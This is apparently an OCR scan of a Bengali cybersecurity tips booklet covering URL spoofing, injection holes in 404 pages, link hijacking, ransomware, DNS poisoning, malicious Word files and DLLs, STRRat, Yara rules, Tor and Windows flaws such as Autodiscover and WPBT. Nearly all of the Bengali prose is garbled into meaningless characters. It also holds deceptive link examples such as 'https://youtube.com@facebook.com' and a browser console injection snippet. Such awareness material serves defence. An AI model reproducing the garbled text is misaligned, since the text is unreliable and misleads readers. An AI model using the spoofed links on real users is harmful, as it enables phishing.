


———W391 Sired SfF by W3F

T e
THIS O

STIZZET I



——13917 &oIced $f4F by M3%

RS ; QS AN

OO : QAR AT AT

AN A : (T 09

oW '3 SIETHIF A ; HI2EeT A




——13917 lred s by M3F
SPrd 4.

SIS AT SN NQGORA S| AT T© AC[CR AT ©©
SAEIRCA I FJEo! ATrR QI [oveems 20q TITR| Se112A
ARG IR SR oy S 0 AifSrag ©fF @it
T AP TR &1, ety 7E Aifa ¢ Mres afFe
AR Tale] AT SSI @zg=ef|

QFBT AT APIE AP AABIRTS (T SNeTRET NG| SIF
TR VTS A BIFE AT eAR W G vifAr @
AR T I AP FIF WIFCCH IR A QS A
(FED FC| 2THCE AP (NRIZF0T FIR A A T Gy |
e T g S foq Sontw fbife wefege ofiRed =@
TR BIFT O L |

¢V R0 T TS @AeT, (FIHIF HR T G (FB SHFARTEANCS
oo faefel fee 91 ANEE I/ S| Ao Y
fRrerer SIw<o! TFe TACz| 0% «¥F @O SwedT eyt
W FCS IO TR O 2] G0 SN AF6 AFE Q=
FAE | MCF NI G 20 AT ST 397 |

ASF Q2 ANIOTT AN (TSI T3 s Nareres I
ORMR| SRR NS @G TAFFS (ATF ST GIR0] SoTSI T

4



———W391 Sired SfF by W3F

TAY 5 2@ 2| T AW FIF FCACR G2 OR_RET @,
TR SN & [FF9W F2| (o ST A AW S=ET 92
WG SRS F GBS AR ©f AT 0T |

frrem guw Ffena Tz Aveael| s R Avte =0E
Mo AR | Bf BT ) (T, ATSIFG! ETIET (FBSHFC fwI=ral
I T 7 8 GBIe WA ANCS I T, SPAY N T
(2 SRS ICT (13| AGO=F AT OF FTed YOI Q0L <7l
freez aifeqia oI Toge! et aTs fFg «3 |

SN 92 J2CT CITE @OSARCT AT Farorel WHoe Face
faforeia 81 aEfe| g E=ier @DSARRT AT S=E TeiE
PO YT 20O AN AT (®IG (RG I SNCE0A 6T A
G FERI 7 GF97 T FER 8 GO 03 €T WMw
QOEe foel| OOt @aq F& 367 1 GBI Wz A
H[2HE FAGIZ FACO A

ETS QPG HILe AR w=reier s ol 33 92(0 tof gz
IERI I AT TwwRE wiEe aw [fege TEE
TS A4 I, TTAIRAE IR/ FCT O T SI0RA
GFe AfoeRN ife| SimaE A @sd 8 Oiwd =arerar
ff*oe Fares @Aty Qe TAfR)




———W391 Sired SfF by W3F

3253 (TR e AN | O Foee YR AR SN A
ORER AfS| S 2 (TF AT @ oo TRl wifiy @3
RET @ETLF 72 Y GFGH NFAF NG| AQF ARME FAT TR
@ GF VG A7 A AT AT T A& FCF MR @51
SI]CeT3 U IS (e N 2

SATRTECS (FIAT T (BT 2T S*T2 SIS FAEA| T30l
HACT TS LI AW T Fce! A0S ©2 I& 6 ear| I
NIEIEY

AIBEET AN

MY (N 09

covidvirus500@gmail.com



———W391 Sired SfF by W3F




———W391 Sired SfF by W3F

31l 4<% URL

SRnd foed wias o@ URL 31, fores feeig gifee
SATCIHCT FICS AN - (T2 [T (=1 ACEABAT AT |

o fereslc (g1 @4t Youtube @3z Facebook aibt
SEINRGAR o1F izl 58, SRE JCeE@ feradl ferete

Facebook -9 5tet Jita|

> https://youtube.com@facebook.com

a5 YO S JICENCRS [Wery FIMI0 TS =1 &I,
fqoe o1l e @aitse Youtube «d2 Facebook it
STIIAIRGAR fores =itz 58, @3 fows f§F $90a7 Youtube
- BT 9|

> https://youtube.com#facebook.com

T @, 93 T Y TN FIoE TN T8 o,
e SCeb FRR A (qRy, @61 Facebook Policy =
e ta T




———W391 Sired SfF by W3F

# 404 Error

T FFA, FFjili.com** qT AT I SIIAI WE
SR bangla Jiesw «s file Stz

w12, **jjii,com/bangla** feres cieet =12 file 6 #irezn A
{8, S er=eMEes english 7t @i file 12

wig, **jjii.com/english** fe1st ¢its1 404 Error qaltd|

8, @39 wws vulnerable (@b3e) =0 AwCe AN,
@A 404 Error mAitaE Ny Sl @2 file @3 o=
fAicaees, 1 file @31 W SEIARE @721 Tor fNova wwwl-

> Ops! **/english** does not exist.

odle, WENE @A o SRIAEG A TR 9%,
#*/english** @3 s ®fewa code ey, 12 e FE

faca fgs sate? o Feee Ffesa code 6 run a1 M,
G373 vulnerable S35 TSN (3 I50513 5e |

Broken Link Hijacking



———W391 Sired SfF by W3F

Wq Fwe, [a et zom **abed** q9iNE @I (TGS
& Cod-

> fb.com/groups/abcd

G2 2T IS A TGF join FACA Q@ @ FofS s
S e Faar «3e [(fey SIEMRE 2o foeF share w1
e e @ 2591 disable =@ ¢t GT2 AT o=y
aFe O frea oS apeeie foies edit St abed aFtem
fe1eF set s e T, @a ezt abed &FtoR
ferid share a1 zfeeen, o™ g 6 a0 @aq @3
Fhoda a0l HTel |

forera AN oI S was [y &t @ieg| wigret, link

shortener RRT 37 Ffoda o1t @0 FE AT IR
AR R0 ST TR, LA S| O, fo1ess [t s
@FZE run I 71; AW 71, S 55 a1 ol forees 5
FA ANY ABIR T | FA, foTeF @l =37

10



———W391 Sired SfF by W3F

FAefe - SATOT AT

S F St @, {5 93 TR R TEF TF MEsmiF
CIGCEG BCA? M SIIRMIZEE FAT LS AR S| O,
AT TR TR MO @ SAN@E I | (@A G-
e =it Windows 11 e 2ipe Seoiir 1% Fafeeen|
o¥wg g3 oA & *FWindows 11 Alpha** Jits=
a3 R I 2I0ICe AF | TR TGECE @I AT
33 ferrafeee (¥,

> TR A @ file I T4 Witr @7 AT AR
Windows 11 Alpha i

w2, file © open =77 & o W= button -9 = Face
| 9, 5 FACETR WIS TSy &30

S AN FR I @T fo1eF Ao A (@, AENCR
99 5 s @3 fo10s 9@ SRR S (e R 59
FACT oy fo1E ) odle, o @61 58, location e
SeTwl SieTml SCIRE redirect F9d1 AN SHE AN
fo1eF shortener IRIT F@ foF @F Fa [ T, GR
=120 (AT SITeT fo1eds ITO! SIF0® ARCIS 1|

11



———w3q1 eITed S5 by W3F

P OF6 FAT 0O HIZ| (T6] 0R- TP ANY QTFS FO A
@, AFGT AT Q6 STIIRE A, GfeaF*t sign up F<ce
Il (58, (IR e IR N2 R 6 AR sign
up ez 8, verification code UwtR S TR HCe,
O A G S TUq NS @tF sign up FEES AR
verification code #oia=, o= @=1SS verified T T
ATOICe (12 i 2APTSAT AAfiqeq @ WE Ime siear
IS e STHRNBE QIFDT T4 Y7 GR6! FRS |

TRIR oy ol z=- @6 @ S @ R 97 e
BRI (ATF VTSI B AT AT 2N ST | O3,
Ao EF | M |

12



———W391 Sired SfF by W3F

SI3AT T ATAR

e =fite (ate AltRy- [fey ARAE S I w4
APTSAC share IR QIFT NwF 9 A, (FIRT AR O,
AT P (T Y THRIRNIL WS- ©f [T q| ST A,
@RS N[ el qrFeme g3 ARmPe Gl
YT, AR FIAR AL EHe FAF S5

T (@S, 93 7 2fFE- Sl 1w e Apreare sffiaed
I FEF IR, GIFE (FRCT 2 2P1STC share = e
SRR WeTd 719 e SR @3 1ees login 3@ [

13



———W391 Sired SfF by W3F

M2 T

feea o fge st @i @ Facebook «<iets o
-

>
[https://www.linkedin.com/slink?code=gX643naz](
https://www.linkedin.com/slink?code=gX643naz)

w25, 4ol Linkedin e@asRne o, ©ig qip GOt O3
STIRAIRGT [T FF I AE@F SHIAZE 5T (qC03 A |
©iR, @ &0 fFF T 9R FF 9 49 @I fo10F oee
Ve - TOIH2 AR T |

14



———W391 Sired SfF by W3F

FoRe @R ST RR0e

QTG S[oICP f7eoe oz send FaceTl-
https://facebook.com@2398797614

9% e 5 Fae el Google -« 5ta A& SRE, T
W R(F- G0 (TGRS (o125 |

o1 fFeItg 2?2

Toew o1 facebook.com @3 ot **@** oIz 20"
ST e R FF@** forzd #ita Wi google.com «« [P
address (ceRTTer 25 fercd e Sl (g s
5 IR QAT G TR | QOIF ICF (T8 AATF TSI
A2eee [ ent =, I Sl fgs e

15



———W391 Sired SfF by W3F

Ransomware &I 91
AT

SUCTICIIH A (U G [ACIIE (e~ S BNV AN T B SICHIS (O €503
ransomware @ s HE 0RA| (FAE SEE AN
CAfer FACETS A AR I ©i, Srewes S (Mamun)
e e s @t g O oA TNe Qe 490dl-

TfeF g ransomware €3 ¢2F forensic @Fel I
@l Pietz- @9 ransomware FCoiad file wte
encrypt <9 St 75e file a9 @G copy T T G
oo 12 copy w4l file & encrypt s (IS IR
s>1eoita fog logical address -4 @Iete otel AR)| I,
copy s file @t encrypt <=1 =7 ¢oits1 3= file & delete
IE M OF, 9Ee IR 7w file fF efrexa o
S {7532 Sit- sCoia delete <=1 file wtel recover
341 e 92 I Sifae wwce oe fogs @ 0 =g
post & #Iers A=+ ¢of, 13 4 ransomware 9s Ha|
& S zee2 delete zs file @tal recover 347 TCe!
F(F2 recover FCs AAE|

16



———W391 Sired SfF by W3F

TR, e AN malware «tE wywe WmE g @em
FTOIET ¥ 33| 2, malware @3 Al I S
It BICs R 1 [t ©ire malware e tFE bee
qA| AN 7 2 malware a3 I 93«8 (AT Ars
PR @, Seoitad user name Im **USER-JOHN**
T, SRR (13 FEHIET Fo F41 2 1|

4, SN IR SifF- AfeFiE G afedy Tew S I
fater e S7E sIesicas disk partition @t encrypt
I AT O, AR ArqFers o file wem access
FACS AR I, I, O FIR AN (s key @21 T,
SHFIC*E ransomware 43 s I JE|

W, FAAAD AGFTS  IHIADGT WGNE ransomware
ARG S0 AF ©F, IW ransomware a3 FFE S
TE; AT AMMIS FACO AT O A AL FAACORE RGF
TR AL vz F0 I 99, HYF- o FERoIET

file @teTm (10T T (@I9 extension Y& F41 WCR| IR0
@12 extension s™if¥® ransomware 43 «iF search
FP, (AT (TS AT |

AT G0 FAR A1 TS @3z unofficial 2owN @
(FIFFR SICCEG FACI |

17



———W391 Sired SfF by W3F

JICTF A3

Jgme 9 @0 I o1l T 9, (@€ 1S oo o1
AISICEI-

https://cutt.ly/T3cWovY

93 fors fge Faca i Facebook -4 vt& Tiaw s,

Facebook -« Ire st sieifs siss etasenacs redirect
AT W6 WA (6] JATOR ARMET | AACHR T@ FfIF R-
Sio[e e greens ot history ¢s track Fs = =)

(S M- 9FG ARIF 7RI IM @@ &= malicious
(Ffesq) SRR redirect FAT SR S =TSl TR
o 1

18



———W391 Sired SfF by W3F

N4, File 8 35

At g 2N14F AFCO A | AT QT8 FEACHF AFCO A,
Q6T T B eRF CEF [ F1 A | FC A=A (72
FPeoEe @ file (rate AFEw 9 58, Sl I ete
e right click st Inspect -« &% @@= @3=®

Console -9 fw 959 statement © o1t Enter ¢ F@w
wiztes file @ SN (1T @Te 2AItEe-

document.write(<input/type=file>

azrere, €T Jreecd right click @ Save as -9 % 0
f@ear, right click ¥t Print -« fg< sta Save -« g <013
a9 Window vt e @3=iq siifw sidcer s Folder
-3 ¢+ right click @ Open in new window -cs f&%
Tz e file (W @Te AGEH| Yo qolRe I IE5HR
PR [foy TF-(TFIFT @F A T I GF0 @{fre
Y = *[© FPACHE oM Ate A3 Fiiweii Sfefaiase
SIS AR 0T )|

19



———W391 Sired SfF by W3F

@7%{’ I%- science <K arts S«
ARG A

A o1-Bersr BT AR FAE €o% 27T (12 INIEH [T
T @ vyWE 2RO T F@ @EF TV JFET AT 2]
CoIteT NI & F963- (12 o [ fog qerce bifig 11w,
WBIR qBA| 003 A **Anna Kournikova** Sitse qaes
A GRT @RI BN IE 3R AN oy FECHE
YF T LRARCET| O, NI (12 2Qee I3 {5 I 70,
O (12 BfF (4l TS M| IR, A **¥Vhs.OnTheFly**
NS TSI P& ] ©F F(F Mol A6 Cofd IR 0
AR A I3, TR 2w et #*+0nTheFly**

ST, ifee Tz- science €3k arts O | W, AN
OFo] FUA ST W@ Gl TR- GIe IR
**Facebook** aFIeT -8 AFce AN &8, **Twitter**
OFICT T2 AFCI| O AT [Oga PRy IR rdll
AT | AT S Y& e 20| M|

20



———W391 Sired SfF by W3F

Q@A Only Me 33

S (FE @ =K post FE | 939K 'R public @@
only me s=ce=| &8, only me 99 W52 (¢ AWM &=
@12 g<ce right click @ 'Copy image address' -4 &=
0 20T fokEF copy FE@ @ w1+, =[G only me =
ARG (12 oI I ST =<0 el A2 @3 [
Prfeeat team @3 AL AT F9CeT O SWNCF S (,
%4 public @ post @eaw S @y =<7 et 7-3=m
e 319 SR S M ©fF, au901 287 T |

GBI (T policy 2ere WteE 2Fee! [ Sites «1| ©ig,
ool Tl QI et g5am)

> (TTHFT 03

21



———W391 Sired SfF by W3F

DAAN 3T HAIB YN FIB YT
Rame foavass

ooy VPN REE @ S o3 Qi@ o F4cere
AT @EE=E track F1 RQ| FIFE0! AT O, O e
e DNS @31 103 Siae 2011 TR0 S q998 (@i
STIITREGT W 708 AB (A, TR (1R STHINRBT SN2
QT LTS ([ FACO© Y| STRADT P9 NS SPTR0QTEN
w127 GrgdT foTred B S0 20l 68, IO STHIAAZEBH W
(@93 facebook.com) feica % MT=I2 SRIZG boeT =T |
FE, S TL SRINBEGE FW oAb @, O WA
SR T @FB DNS AOF (F SEIAARG0T SN2 Qg
Y& (@@ I QR 99T P12 W3 QT @ TGN SIAZB
CC @ I GO A TUNE (T SCIINID A FAC©
5130a ©¥98 DNS o[ (tF (13 STIIPMR0F W3 G @@
Fce 34| T8, WA ol S DR (ATSReEd (el
DNS oF IR FAA| T, S F & A% Farzs- G0
oltMd FIC2 save UFE| avqw, 9 & DNS Ik«
IACRN BT & ML 299 @ track 1 =9
@oiaz S VPN 7R 6 S35 Qi@ oo 919 21638
SHF AT A2FF FRE F41 DNS o=eE track I Sio94
e (location) &= =4

22



——N3q/7 Sred $fAd by M3F
79 ffetr DNS @t wfvaem  J<gn ame **DNS
poisoning** «a W VY e @ FBE 20R| A3
gzeel &t M- DNS poisoning 2 DNS poisoning 2t%-
DNS «3 wiffie Q= widfo A Affqed I A&
STIRARGT W3 @@y ferd orewn o, wWEf T
STIIRGOF N 0L B T ©IF AT STIIARG Al 7
AfAFOS A QT STIIAIRLD 5CH TE |

I [ [ 2wt fAce Nfa?

e, A 5 & A ST G161 W THREAS (ATSIROH
TEee A FW, S9N owe DNS TR Ik3d Fa0|
s Firefox qreentss Settings @ts aaferBe **+DNS
over HTTPS** Bie | “/arf Aty It Seee | ©F, 93
A@® SqETF FACTS g ST ACFL | S IR I S
DNS ol sff@eq FF91 @&y Linux FFecEa
**/atc/resolv.conf** @t file @3 txg DNS e[
ey Face =@ 99, Windows %otz Control
Panel @t sfqqey sare =1 Ifme, Windows ts @2
S g track e (IW 71 At Gretst disable st @)

A3 iFeT wfewar a0 - FremaRe Jfere oy

23



———W391 Sired SfF by W3F

ool (NP T BT | 8, OFUEe WA I e
AT TH I G NE®  GE IR A O
“congratulations” siif¥ {5 Fiwlt Far=|

24



—— 13417 ees 8f9d by 73w
AT ABIH T

G GBI e 9012 SIS SHce A7, GI6T A90aT IS
T wPere) foq (ee @G *1=E ¢ W S (@FNe {2 ow
ST (N ACZ G618 SN 3D Treea mare Aifez 4 [y
TORCG NS AT AP FE0R fTOREE O NMF TS
B

SR 24 FE- AT ST R I AN FCoIn waiom?
1, farom; s S=em /) sl 3w oI fe = A @,
FAC0S 2O SR UG SIZAT [ores WFfh (va e (s

OF, T T IF AT YIF T @S AN QAT SHP
e Z(A"| 0O innocent ¥3F WA oftme fToizs e I3
¢ SR &) YIBEA ClIPT 93q I apps HREE @, @2
TOI3N q I24 HeTI9 I, GT0T ©2F 8 Jzde BFE 1

G oW AIFCe BIF? TG TS T I IH I |

25



———W391 Sired SfF by W3F

RLHAITS O Teieas!

oe fores it (-
https://facebook.com/zuck/

a6 e dfewret Mark Zuckerberg @3 RS
QFECH o1 58, T o fFe w0 ol s (s
GFICCT BT A

1 [T “rafote post IR OE, GONF AFICE G0
STIAIRGT foT1eF FRIdl 8, f§F T3 o7 f67F veF qiea=|
©d, A8 TRfore BYAIG (IR SRR I (domain) ¥wce
AFCR, (12 STIINRGAR 9 o1 e qeqt A=) o, Wiy
(TgRCE U3 [l SICe il Woits Ffosa g 0T I
1" e SR

26



———W391 Sired SfF by W3F

GBI SRR O JI947

IO TR A fefel 8, Iowta Shark Jack i<
(NGRS WCol (RI6 T2 Mg @1 FFAEHR i 4l M=)
S, SO AM YT A QIR FIDPAD FCO Hlel T OIRCA
¢Sl JAHTOR A=A

TS, @ AR HfFTHT team 92 [y »I=! vifercace|
Ol WFB IRZS 96 IR @I IR ANTBrIE eol
AF A= ST o SEce AT -

* BIOS settings @3 “ipTextes Sr<pes lock w4t feee

* BIOS boot order =teT lock &1 =¢eT, OFT (?MgIRS RAF
o) AL P2 boot FATe 21w 7|

* @12 wpreiee VT-d o] it el oeet, epeibeel Jesia

Direct Memory Access 1, sl RAM -& access
PICO ATICS! 1

GF, (1R TGee ge-gide fecer Bitlocker e encrypt
SN

27



———W391 Sired SfF by W3F

&8, Ol T FaE- T 55 e login FIF screen
OGS SR OIF WG, TO-Zid® encrypt I AwCeTs
**drive** (@ C: drive) & decrypt <9 key <tz
TPM @1 =i, Windows 11 Zsi6e1 F< 57 Sl

TPM ¥t (&t ¢t | e, okl ey fg feizs g«
3@ TPM @3 31tz SR decryption key ez = | 9999
% f? Sl ANCTR A0 w25 login TGN GR RIG-FIRCoH
HAPFR CATT (AT |

SioEE FPACHRE R ¢t 9ot login I SoE
Facebook, Gmail 4FTT @F ©F FF AFFOE AAFR
@7 fTaEe (e TR TS | AN o personal &<
Tt -T2 FAN8 FA=J| G5 e FOSWF w9 0
AME| ©CF, AFoSWR (@Ffge [ fog Fifscib woamife
R Face [Waoral I Sl A=A 9, e wex wfy

@35 PDF 33 ferdfy; 49 Mg ot TR ITSE@R| AARE
gjqm |

28



———W391 Sired SfF by W3F

AN BN AT

aFe i SlRcee A @ QfooRanT FRIT FAC=A- @161
(S TS A1t SoqIE SFEACHIE (12 fed (19 access i
LTS 2RIAT T4 A (AT GBT Fl A=A

feera?

OF0 @G FECCR T Slzgd (sl A6 S 9
OFTB STIIIZG AT AT O AT AT (T3 STAITZ6
wi2f7 @igd cache 3 (feifem F6x) T | TS IE, AT
S (TR STIINRCG AT AN AR Q@A fewe 1 =)
Q2 T I, oA 93T GfTeiEzam FR—E @ iR @it
ol 8 oM «fPeRa @i eIt AR
connected T ©%, TSR SIINBHT N3 ATHA
SR (@S Ae6ItE cache (&) S0 SR Q¥q Qe
e IR0 @i (@9 C, C++) TR I ANTSIF
PWF AE5E NoN-recursive {EE2 A0 @, WoWE
ATHICA 12 @fTelEa eRERna wzf «igd cache =i
B, (A2 (FIENG (12 GG response A ©f 1 e
response AT =1 8, S @xg aft SRIHT JRS
TR ©Ig, (12 eS8 response ¢ I | TF TG (1

29




———W391 Sired SfF by W3F

IfE (& AR @, A SF GFToRANT 9T FA0=|

SR QoI FHCH QCS AR AZI S f6go1
(ST 11 Z(I2| (T3 RICT I AT T4 TE | LI

30



———W391 Sired SfF by W3F

G I O35S

FNF T IM TG BIer Mo ©F FACET2 WIS Q1 AT
2? R, AAGY BICS AFCT WIEASWF IS A S, HIS
(RIS YEIC12 WIS )

o

g [FoiE?

arwE, e attacker smeEE =«Gc scheduled task
fZere eemR @d M w9, Windows FR9eia e
ST ACACR (T, Bied AcF et gEees scheduled task
EEIESIRI (SN

©IZ el AEA | ST ZICOT BT AT =G T[RRI T
Y ATHZGF (g AT FACAT | O TAGAT 5Ier (ATF 0o
qFG ot e FC 262 Lite W @re 5i3E | 8,
T2 BIS (ATF TG YETE, TLF2 SR I A JA!

31



———W391 Sired SfF by W3F

NPy OAAT

ftea srERs ity TceE refresh 4, SroRiEE
T BET MLATS ARGE| F8, AP0 (GRFNE 7|
S RF#RIE 3CORCSRCE NN Cofd I @9 ' AR
I, AGE AFEH &R JPeM FCR [#FSE a9F TG

ARBCT AfD© 41 37R&T | O, NqeTI2 [0 oo AE |

https://thispersondoesnotexist.com/

32



———W391 Sired SfF by W3F

feafoms

eIy fferes weri e vulnerability @+i-@or s 23

Vulnerability 2tz 85 Festas @3« gdere!, @BR A
T 21T T4l A=)

*keqeifey I forress Feae-+*
> STIIABD A (FIANS [ 91 Face18 & FiF 28 7A=q?

TG qedl- ARA| Yoo, @A vulnerability - qeta

drive-by download «@s st vulnerability &fe =1 ==
@2 vulnerability -3 i Wt oS 93 SR=RPNRE 2ea=!
3 41, B0 f§9 T2 Gl TSI TSNS FC|
WRq| Sielf¥ 512 Prometheus TDS s%tH THREAG &
(81 ST A |

e, i I e Bieslt 28T T0o! FHFIC T FCET G
faferw werie@ vulnerability @3 Fio 2eT@ © 49 GF61
QEY

33



———W391 Sired SfF by W3F

MS word

ot MS Word si3es st @t MS Word ©gees
AR T4 291 58, 93 MS Word wgmeos e file e
qA, G5 TG (2 RQCS WS CUrSOr €9 899 ©6 ord
ool @G AAte ARy, G @F Fhowd file €3 file & w7
=130 insert 3@ @ TR &% I MS Word TSl

open IEF R TAtId Tewm o A1 'Enable Content’
0 fFF I, oea’ whewq file © run TR 9%, K

AISICAT (FIPZ TR TRLIN A |

34



———W391 Sired SfF by W3F

A FICHE THF ATOSWE TFRYT IFCEF| AT TSl
(RIYFFATE aored 7l AW FINSTAT v BIFl
o | A SPCOR OIMACE HGAM IR O, SIS
ffer 9o (human error) @3 I I I3 TSI
AGICNL. T IO Qe @F TP T O, (12 wiF
SABICHAR A0SR (@I e a1 @ e, Sielf) T
fCod TS (T QT T OIRCA (18 I QTS S[2/1H-

*  qfc Feed double click st open e
SEoerEy ks file (@wa- dll file) load =z s,
S e @tF (A1 TRR) @I SIEF0 FoPT RO ST
install F=tew, @6 o =F SR wTweswicad @2 dll file
&teT delete sta e, 298 1R @R itw =Ffew7 dll file e
(Write FF) MeeT| O, Q2 Sl T4F2 AT (12 AFo ST
open IR ©¥wg FFoeEn (12 Fead dll file wtees

load TR 32, AT T FICoE T

* A G FIGCE AHATE FPICOF AT FACO WA, (T2
I T S NCo! NS (AP AF (B AFE SIS ST
dll file @te delete s Wtw, 238 (13 w3 Fhewq file @y
fAtetl e, S (12 e eI open IR HT T i)

35



———W391 Sired SfF by W3F

TACIR QOIS ST PP COICH(@R S W@ TSI
FRRTFEE Foy Qrea IR0 iR «F FIFE AR Q2
fog fof sTwbemim @ iifites (g fce RES a1
AFOSIF ARIFFE o Tl T8 Faeme Awoer@h
IR FACRA| O, YT 917 ST AGIT e | W1 ZCT 2K
ey QUeTe W (I (0T 1| TOCeg, TACane| Siece |

36



———W391 Sired SfF by W3F

Fol 3T SYTVSRNT GACN 25

I Sem- au9 4I9ell 9o qreis (AIAITNR @io A S
e a3t g Weemr e et Fwlk, @l FER
S ACABA FAC

WereyEn 22t VirusTotal -9 upload st @@=y wo &
afBeIRA GTBIE *Mie Feel @3+is Google drive -«
upload s <« download ==te ¢itste warning
eaifeetetl) @, Sperem (sample) © fzeem POSIX tar
%z file @32 extract s99 »9 C, bash 7z a3y
language @3 compiled file #II% ©tF, @B SCAFO!

STRRat WreremE @3 tsl afs S[erz aeareee STRRat
TSI AGICE S{F ©F MR &+ @S ransomware
RO AR 631 @ (WG, GBI ransomware )
OF3SIE, I (@ e Q=277 Fafz <761 vy¥i@ bash
e F1E FAceTe S cnaifie e @F file (e @
facafeem @3 bash file & run == a9ty 5% .jpg/.png &R
TISHCAG F4(1; T8 CTote IPe =] a1 39, (Tetences bash
TR T& el CIeta! Tigacene 6x ot dd e e ¢i
creaeaege file &t Atd command &< Fea (extract
I(@) WETSWRL Tgq wWwe file -4 save F@ R

37



———W391 Sired SfF by W3F

IeTREE, [feqy WHASMIET WhR IO GIFA 2R T e
WA AR 2_ersl (7 AR @99- GhostEmperor
WereRGeE w2fe =f4w file signature I% @ Weew

payload #ite @i ficace|

TR @, ANF QAR F1 PEASPRG G99 @12 save F41
o7 bash file 0 run FACE2 TSI IS &F| JA
WIS FIOBICT beTNIy (=[P cryptocurrency @=s
bitcoin, monero Tejiw a3 process I ¥ @ (IW
SoT  ACF) | Qe N2 SF® FeoE RS S
crypto mining %= 34|

T (ST, TAFIE-@RFI RSTeE? wesme awezieT s
2 A I AP Al @I SFce - MerepRT 6
FAR AR FIE FCOLE FO AR T9jiW| @ [Py STaig
Pegasus Sieepe Wz s SresH tofd 2w g, @12
WFCTF R SO P67 QIR FICO RACR| ST
PriTeRibre Irerem F=RRrT SaFs! B AT F& @R
T AT A FE, WEASHR TR TR ASFA
SCEBI 7 AR €199 e % MR 4911w

38



———W391 Sired SfF by W3F

SNSRI ey 5y!

e bug o1 =R 78, FEEOER cefiafie @ s
bug =i¢ @G| =ees Sidoh s9% ransomware 93 @3
bug 43 U T@d FAEI ©CF, BT IO (AN (HFaF
bug 1 I, GBI TR WESHRDT dFodma ey
dereE bugl o=l owze Windows s1esicas MS

Office TCIs TN Wy & & @14l SR Crete BT F909|
qre FE [we g ™ @ GFeE @12 file o Wema
S5 =ifora e it 8, 9% wgemeea xml file @
2t e path 3, ETIE-

> Xl/SharedStrings.xml|

TYb, WASTRLT AFOFIA o (o) path A, eI
CTETIR T foTee CTRiReeT| =¥, G167 Jeel-

xl/worksheets/sheet*.xml

«¥ TeewEtc WIZARD SPIDER «iw< *feat si3qd
SOIAT &FCoE| T, SRR Tew variant (Sieites) 13 o
AR MR 8, oRPRe qIFN g 26 UBIR W FRET
T, VT WAL |

39



———W391 Sired SfF by W3F

SYTCY SR I° AT

A6 WIS T e FIare, @B AN ¢ 27 e
AR TS et Sz wierewa 6 @2 family 4,
AT T 1 2= 58, EvRA o ¢ 3= SR
WASTIET AN TG MG 28T WHASTIET TGFF 5 &
A2 1o **Yara** PR FF U2 9 & 271 Google -4
i Yara rule ferce 5116 S92 [Ksife ¢ty [

ST RGN I4F TG (P ISR THA A, ©L

reverse engineering 2 K€ Sy ARIAR  @iors
QIR FEF| QOIE (1R WIHASIET N AF S O
TAYIo FCAN| @I°F (73 O &t Yara rule @ fs s
feTte AT | T, ARSI AL TG WIS NS [, T
@12 eewrRGeE = Yara rule g scan a0 =31 W
Q3 TG WIS S &I Yara rule a3 e f¥eet 5 o
Q@RI TA- 9T Tgd WETSWIET AN [ (T3 WATSTIE
T AR

g fferew, @3 Yara rule @3 @¥9 v @5+ Yara rule
e fSts Ate3 @BNGT ufS Sz AN Fere AR

40



———W391 Sired SfF by W3F

Tor 93 S13TIA Fb

Tor 3 ©F SRR JFRIAT T4 T AR 7519 &+ | 58, TS
O @I P AFH (CACR- @B Tor IJRITFAWMA
AR o¥fa IR

Y7 Scenoar

IS TIF STAE AN TCTF STHIAIRD A2 (@STET V2 I, e
3 OF (OITNE| F8, 20> AT 77 (AT T SAEA V2 Jifea
T A @32 V3 RIS FA00 QA S | ©I, (FS IM
TP STACRE G STAIAIZD AT FACO BT, ([ SINRB
Qe FRTeq V2 (RN [ AR, ©iRCe fofd Nva 2«
Warning @3 sl g @4l At #1@w | 58, T 0% 93

Warning @3 sty time <1, ¥ @ 40 AE @61 log
RO &l 4| WA, W 9FE ANY (12 ©F SRR log
e ol A ©iR, &% I SeEE track IR &
OIFT V2 STIIAIRD FRI I O, OF STIIAI0 &) 8;M
log a9 N AN AN FCoIa 7N (timestamp)
ST CITETR IR e FAFTC AFCH Sl AN |

41



———W391 Sired SfF by W3F

2% STCS ATC-
SR FEACHIER log fof (et et

SCe], Tor HRd 41 ¥ U2 FI (¥, Aferie @1 S
ST FNFE track FCe T A F8, @3 Aefes I
GCT FASHT (FC  BIREE S FACoR ey e
SIIRG log «@a ey ffecy rats #Aa ==y, Tor
AFCNR FRRT F1 T NS GR LA 0o FCATe 1 ACF|
2 R [foy o amieas aidcelhre e S99 s
Tor [ARIF FE2 AEF I I TR, G2 22T 3 Ao
CTCETCR AP (eI TR T3 |

42



———W391 Sired SfF by W3F

Windows 93 357

oA FE I <% it 7@ e frewg A 8, S
FAFOSIT I O fepta [qfor Pifeeil s s, GoiR
Freifqe| o 89 Sniggd e Windows s=iicaio: ez «fe
f0a S rew 8 385 ARZS F6 FAHe 162y O, Sea
Windows «3 Kfeoq @fba =9 7 attack F99 G381 F¥4(J,
@IbIE Feilked| @«- '@ Iz SolarWinds, Colonial
Pipeline @3z HAFNIUM @3 sl 219 SI@msce A=A
«% 7=c9 PrintNightmare @3z g stieom MSHTML @

vulnerability (@) etz &8 Windows ™iCom
@ |

OF, WS (@2 2 T 3 0 DT FACI- ETete SFe &
AefeF| FoT AW, e FE Newifos F2FE T=0e QeTe
@ beTer| (12 Q 6 297 =t=- WPBT @3z Autodiscover!

Autodiscover

A F2P- A BB T QIR AAFF FPAIT 303 Ao
(Microsoft Exchange) I5<ae S99 &y S(oife 2013+ QrgaT

43



———W391 Sired SfF by W3F

G ASG I @i G5! BT T4 JZ AR FS FAE

Autodiscover: &8, «¥ Autodiscover J& I T
feoe oI ool SRR WoANT APTSATC ADICS -

“autodiscover(.ilcom”

8, @3 fOUFT SRS (of (@ &F¢ Fre 2 ©F, “Amit
Serper” IINs qFee Jjfe 9T A KT Feaced @R TR
fereraa WCe! SRS e I @fT=2E I WAt (¥, B
MO WY O (12 ARG eI o 8 «1ied Weel
3wee™ credential (IFTSA®) 5 PR IS RS FAE
&y @3 Autodiscover T F41 7S T SiHres A o
T, @I 3y wl Med|

# WPBT

Windows Si#iitaibe Fees zele JesmE ietse fFg cflaw
qItF | QateeE firmware &1 231 58, Windows %51t
WPBT s 9= #51 =itz) @3 WPBT @3 i< esia
@I oitra esmitad firmware -a3 [ a3\ (i
qrte “Ai|ea, @61 Windows s 1t run +4td1 @9 @3
TP ZR- BPCHICT (BT 4 & AN (I T IO
FIHCLIE §iF A CITETe run 2E; AN G IM Tged

44



———W391 Sired SfF by W3F

Windows @ ©q8| I, G2 (AN JOSAET T

AFEZ| [FG, AT (¢ I ANT GH eI 2AIIT- B!

o Fecicas WPBT o srierewnicad location feice

AR OIAR, AN TUNZ FTOR B FAE, A2 (TR

WETSIRID run 261 G949 79 367 Windows 23106+ F4ere

